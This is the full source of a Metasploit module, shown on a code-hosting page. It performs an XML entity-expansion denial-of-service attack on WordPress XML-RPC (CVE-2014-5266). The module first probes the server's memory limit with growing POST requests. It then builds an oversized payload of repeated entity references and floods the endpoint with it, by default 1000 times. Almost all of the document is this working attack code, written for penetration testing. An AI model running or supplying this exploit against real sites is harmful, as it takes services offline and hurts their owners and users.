Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HTTP::Wordpress
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Wordpress XMLRPC DoS',
15
'Description' => %q{
16
Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.
17
This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are
18
also patched).
19
},
20
'Author' => [
21
'Nir Goldshlager', # advisory
22
'Christian Mehlmauer' # metasploit module
23
],
24
'License' => MSF_LICENSE,
25
'References' => [
26
['CVE', '2014-5266'],
27
['URL', 'https://wordpress.org/news/2014/08/wordpress-3-9-2/'],
28
['URL', 'http://www.breaksec.com/?p=6362'],
29
['URL', 'https://mashable.com/archive/wordpress-xml-blowup-dos'],
30
['URL', 'https://core.trac.wordpress.org/changeset/29404'],
31
['WPVDB', '7526']
32
],
33
'DisclosureDate' => '2014-08-06',
34
'Notes' => {
35
'Stability' => [CRASH_SERVICE_DOWN],
36
'SideEffects' => [],
37
'Reliability' => []
38
}
39
)
40
)
41
42
register_options(
43
[
44
OptInt.new('RLIMIT', [ true, 'Number of requests to send', 1000 ])
45
]
46
)
47
48
register_advanced_options(
49
[
50
OptInt.new('FINGERPRINT_STEP', [true, 'The stepsize in MB when fingerprinting', 8]),
51
OptInt.new('DEFAULT_LIMIT', [true, 'The default limit in MB', 8])
52
]
53
)
54
end
55
56
def rlimit
57
datastore['RLIMIT']
58
end
59
60
def default_limit
61
datastore['DEFAULT_LIMIT']
62
end
63
64
def fingerprint_step
65
datastore['FINGERPRINT_STEP']
66
end
67
68
def fingerprint
69
memory_to_use = fingerprint_step
70
# try out the available memory in steps
71
# apache will return a server error if the limit is reached
72
while memory_to_use < 1024
73
vprint_status("trying memory limit #{memory_to_use}MB")
74
opts = {
75
'method' => 'POST',
76
'uri' => wordpress_url_xmlrpc,
77
'data' => generate_xml(memory_to_use),
78
'ctype' => 'text/xml'
79
}
80
81
begin
82
# low timeout because the server error is returned immediately
83
res = send_request_cgi(opts, 3)
84
rescue ::Rex::ConnectionError => e
85
print_error("unable to connect: '#{e.message}'")
86
break
87
end
88
89
if res && res.code == 500
90
# limit reached, return last limit
91
last_limit = memory_to_use - fingerprint_step
92
vprint_status("got an error - using limit #{last_limit}MB")
93
return last_limit
94
else
95
memory_to_use += fingerprint_step
96
end
97
end
98
99
# no limit can be determined
100
print_warning("can not determine limit, will use default of #{default_limit}")
101
return default_limit
102
end
103
104
def generate_xml(size)
105
entity = Rex::Text.rand_text_alpha(3)
106
doctype = Rex::Text.rand_text_alpha(6)
107
param_value_1 = Rex::Text.rand_text_alpha(5)
108
param_value_2 = Rex::Text.rand_text_alpha(5)
109
110
size_bytes = size * 1024
111
112
# Wordpress only resolves one level of entities so we need
113
# to specify one long entity and reference it multiple times
114
xml = '<?xml version="1.0" encoding="iso-8859-1"?>'
115
xml << '<!DOCTYPE %<doctype>s ['
116
xml << '<!ENTITY %<entity>s "%<entity_value>s">'
117
xml << ']>'
118
xml << '<methodCall>'
119
xml << '<methodName>'
120
xml << '%<payload>s'
121
xml << '</methodName>'
122
xml << '<params>'
123
xml << '<param><value>%<param_value_1>s</value></param>'
124
xml << '<param><value>%<param_value_2>s</value></param>'
125
xml << '</params>'
126
xml << '</methodCall>'
127
128
empty_xml = xml % {
129
doctype: '',
130
entity: '',
131
entity_value: '',
132
payload: '',
133
param_value_1: '',
134
param_value_2: ''
135
}
136
137
space_to_fill = size_bytes - empty_xml.size
138
vprint_status("max XML space to fill: #{space_to_fill} bytes")
139
140
payload = "&#{entity};" * (space_to_fill / 6)
141
entity_value_length = space_to_fill - payload.length
142
143
payload_xml = xml % {
144
doctype: doctype,
145
entity: entity,
146
entity_value: Rex::Text.rand_text_alpha(entity_value_length),
147
payload: payload,
148
param_value_1: param_value_1,
149
param_value_2: param_value_2
150
}
151
152
payload_xml
153
end
154
155
def run
156
# get the max size
157
print_status('trying to fingerprint the maximum memory we could use')
158
size = fingerprint
159
print_status("using #{size}MB as memory limit")
160
161
# only generate once
162
xml = generate_xml(size)
163
164
for x in 1..rlimit
165
print_status("sending request ##{x}...")
166
opts = {
167
'method' => 'POST',
168
'uri' => wordpress_url_xmlrpc,
169
'data' => xml,
170
'ctype' => 'text/xml'
171
}
172
begin
173
c = connect
174
r = c.request_cgi(opts)
175
c.send_request(r)
176
# Don't wait for a response, can take very long
177
rescue ::Rex::ConnectionError => e
178
print_error("unable to connect: '#{e.message}'")
179
return
180
ensure
181
disconnect(c) if c
182
end
183
end
184
end
185
end
186
187